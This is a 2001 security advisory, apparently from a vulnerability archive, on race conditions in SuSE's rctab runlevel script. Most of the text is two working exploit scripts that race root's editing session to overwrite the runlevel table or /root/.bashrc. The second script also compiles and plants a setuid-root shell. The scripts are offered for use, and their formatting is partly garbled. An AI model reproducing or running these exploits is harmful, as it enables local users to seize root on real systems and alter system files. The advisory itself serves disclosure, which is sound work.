Serious security flaw in SuSE rctab

2001-01-16T00:00:00
ID SECURITYVULNS:DOC:1160
Type securityvulns
Reporter Securityvulns
Modified 2001-01-16T00:00:00

Description

Hi @ll,

it seems that the problem described below has not been discussed on Bugtraq.

Problem description

Due to a various race conditions in the init level editing script /sbin/rctab it is possible for any local user to overwrite any system's file with arbitrary data. This may result in denial of service attack, local or even remote root compromise, if root runs the /sbin/rctab script.

Details

The /sbin/rctab script doesn't check for links writing the temporary rctmp file to /tmp/rctmpdir.$PID dir. Also the directory created isn't chown'ed root. Because the PID of the rctab script can be guessed (or looked up, however), any local user can replace the temporary rctmp file with arbitrary content. This can be exploited in one of the following manners:

a) local user replaces the rctmp with his own, resulting in enabling/disabling any valid service listed in /sbin/init.d directory. This may lead to a system running a vulnerable service after the runlevel has been switched, resulting in further remote root compromise.

b) local user force the rctab script to write the content of rctmp file to any other system's file including /etc/passwd or /etc/shadow. This results in denial of service too.

c) local user trick the rctab script to write the contents of rctmp file predecessed by some arbitrary data to some sensitive system file. In conjunction with any sort of shell script executed by the root user and the 'in here documents' it is possible to run any command inside the attacked shell script.

d) ...and much more

Vulnerable Systems

At least SuSE 6.1-7.0, maybe other systems using rctab.

Exploit

Attached 2 exploits

rcshell.sh: gives you r00tshell assuming that /root/.bashrc is present, root runs crontab -e and saves the changes after changing something in the runlevel table and login again. (Yes, in some cases the script will fail ;-)

changerc.sh: replaces system's inittable with an arbitrary one (assuming rctab -e is run too)

IhaQueR.


so now the scripts:

[changerc.sh]

!/bin/bash

any user can force changes to runlevels

by IhaQueR

declare -i PLOW declare -i PHIGH

CONFIG:

PLOW=1 PHIGH=3

TMP="/tmp" FAKERC="/tmp/fakerc" RCTMPDIR="rctmpdir" RCTMP="rctmp"

_pwd="$PWD"

echo "----------------------------------------------" echo "| |" echo "| rctab exploit |" echo "| by IhaQueR '2001 |" echo "| |" echo "----------------------------------------------" echo

crate dirs

echo "[+] now creating directories" echo " this may take a while" echo

declare -i cnt cnt=$PLOW umask 700

while [ $cnt -lt $PHIGH ] do cnt=$(($cnt+1)) if [ $(($cnt % 128)) -eq 0 ] ; then printf "[%6d] " $cnt fi; if [ $(($cnt % 1024)) -eq 0 ] ; then echo fi; mkdir -p "$TMP/$RCTMPDIR.$cnt" done

echo echo echo " finished creating dirs" echo

wait for rctab -e

declare -i rctabpid rctabpid=0 echo "[+] waiting for root to run rctab"

while [ 1 ] do rctabpid=ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}' if test $rctabpid -gt 1 ; then break fi sleep 1 done

rcfile in

rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP"

echo "[+] got rctab -e at pid $rctabpid"

test if we own the directory

rcdir="/tmp/rctmpdir.$rctabpid"

if test -O $rcdir ; then echo "[+] ok, we own the dir" else echo "[-] hm, we are not owner" exit 2 fi

wait for root to finish editing

sleep 4 declare -i vipid vipid=ps aux|grep rctmpdir|grep root|awk '{print $2}'

echo " root is editing now at $vipid, wait for $rcfile"

pfile="/proc/$vipid"

while test -d $pfile do echo -n >/dev/null done rm -rf $rcfile cp $FAKERC $rcfile

echo "[+] gotcha!" echo " installed new rctab from $FAKERC"


[rcshell.sh]

!/bin/bash

any user can force changes to runlevels

by IhaQueR

declare -i PLOW declare -i PHIGH

CONFIG:

PLOW=1 PHIGH=3

TMP="/tmp" FAKERC=/tmp/fakerc RCTMPDIR="rctmpdir" RCTMP="rctmp" WRITETO="/root/.bashrc" SUSH="/tmp/sush"

what we want to write to $WRITETO (oops...)

declare -i idx idx=0 rchead=""

while test "$idx" -lt 128 ; do rchead="$rchead " idx=$(($idx+1)) done

rchead="$rchead chown root.root $SUSH; chmod 4777 $SUSH | cat >/dev/null <<DUPA"

_pwd="$PWD"

echo "----------------------------------------------" echo "| |" echo "| local rctab root exploit |" echo "| you would need luck |" echo "| and an admin stupid enough |" echo "| by IhaQueR '2001 |" echo "| |" echo "----------------------------------------------" echo

test sys

awkl=$(which awk) if test -x $awkl ; then echo "[+] awk found" else echo "[-] awk not found, edit this script :-)" exit 1 fi

if test -r /sbin/rctab ; then echo "[+] rctab found" else echo "[-] rctab not found, sorry" exit 1 fi

make suid shell

echo "[+] compiling suid shell" cat << DUPA >/tmp/sush.c

include <stdio.h>

main(int argc, char** argv) {setuid(0); setgid(0); execv("/bin/sh", argv); } DUPA

compile shell

gcc /tmp/sush.c -o $SUSH

crate dirs

echo "[+] now creating directories" echo " this may take a while" echo

declare -i cnt cnt=$PLOW umask 000

while [ $cnt -lt $PHIGH ] do cnt=$(($cnt+1)) if [ $(($cnt % 128)) -eq 0 ] ; then printf "[%6d] " $cnt fi; if [ $(($cnt % 1024)) -eq 0 ] ; then echo fi; mkdir -p "$TMP/$RCTMPDIR.$cnt" done

echo echo echo " finished creating dirs" echo

wait for rctab -e

declare -i rctabpid rctabpid=0 echo "[+] waiting for root to run rctab"

while [ 1 ] do rctabpid=ps aux|grep &quot;rctab -e&quot;|grep root|head -n1|awk &#39;{print $2}&#39; if test $rctabpid -gt 1 ; then break fi sleep 1 done

rcfile in

rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP"

append our cmd

echo >$rcfile "$rchead"

echo "[+] got rctab -e at pid $rctabpid"

test if we own the directory

rcdir="/tmp/rctmpdir.$rctabpid"

if test -O $rcdir ; then echo "[+] ok, we own the dir" else echo "[-] hm, we are not owner" exit 2 fi

wait for editor

declare -i vipid vipid=0 while [ $vipid -lt 1 ] do vipid=ps aux|grep rctmpdir|grep root|awk &#39;{print $2}&#39; done

echo " root is editing now at pid $vipid, wait for writing $rcfile" sleep 1

pfile="/proc/$vipid"

relink

declare -i lcnt lcnt=$(wc -l $rcfile|awk '{print $1-2 }') tail -n$lcnt $rcfile >$rcfile.new rm -rf $rcfile ln -sf $WRITETO $rcfile

if test -r "$WRITETO" ; then md=$(cat $WRITETO|md5sum) fi

if test -r $WRITETO ; then ac=$(ls -l --full-time $WRITETO) else ac="none" fi

wait for root to write rctab or exit

while test -d $pfile do if test -r "$WRITETO" ; then oc="$(ls -l --full-time $WRITETO)" if test "$ac" != "$oc" ; then echo "[+] $WRITETO replaced" break fi fi done rm -rf $rcfile; ln -s $rcfile.new $rcfile

if test "$md" = "$(cat $WRITETO|md5sum)" ; then echo "[-] bashrc not changed, sorry" exit 2 else echo "[+] gotcha! wait for root to login" fi

now wait for root to login :-)

while test -O $SUSH ; do sleep 1 done

echo "[+] suid shell at $SUSH" sleep 1 $SUSH


[sample fakerc]

Generated by rctab: Fri Jan 12 21:02:40 CET 2001

Special scripts

halt -- only for runlevel 0

reboot -- only for runlevel 6

single -- only for single user mode

Remaining services

apache argus at autofs boot.setup cdb cipe cron dummy firewall gpm

halt.local inetd inn ipfwadm ircd kbd kerneld lpd masquerade named

network

nfs nfsserver ntopd pcnfsd pings quota quotad random rinetd route

routed

rpc rwhod scanlogd sendmail serial smb squid sshd syslog xdm xinetd

xntpd

ypclient yppasswdd ypserv ypxfrd

Runlevel:1 Runlevel:2 Runlevel:3 Runlevel:4 Runlevel:5 kerneld kerneld kerneld - - serial serial serial - - dummy dummy dummy - - syslog network network - - boot.setup firewall firewall - - gpm masquerade masquerade - - kbd route route - - random cipe cipe - - - rpc rpc - - - argus argus - - - nfs nfs - - - scanlogd scanlogd - - - syslog syslog - - - boot.setup boot.setup - - - routed routed - - - named named - - - quota quota - - - nfsserver nfsserver - - - pcnfsd pcnfsd - - - quotad quotad - - - yppasswdd yppasswdd - - - ypserv ypserv - - - ypxfrd ypxfrd - - - ypclient ypclient - - - autofs autofs - - - apache apache - - - at at - - - gpm inetd - - - inetd inn - - - inn ipfwadm - - - ipfwadm ircd - - - ircd kbd - - - kbd lpd - - - lpd ntopd - - - ntopd random - - - random rinetd - - - rinetd rwhod - - - rwhod sendmail - - - sendmail smb - - - smb squid - - - squid sshd - - - sshd xinetd - - - xinetd xntpd - - - xntpd cron - - - cron xdm - - - pings - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -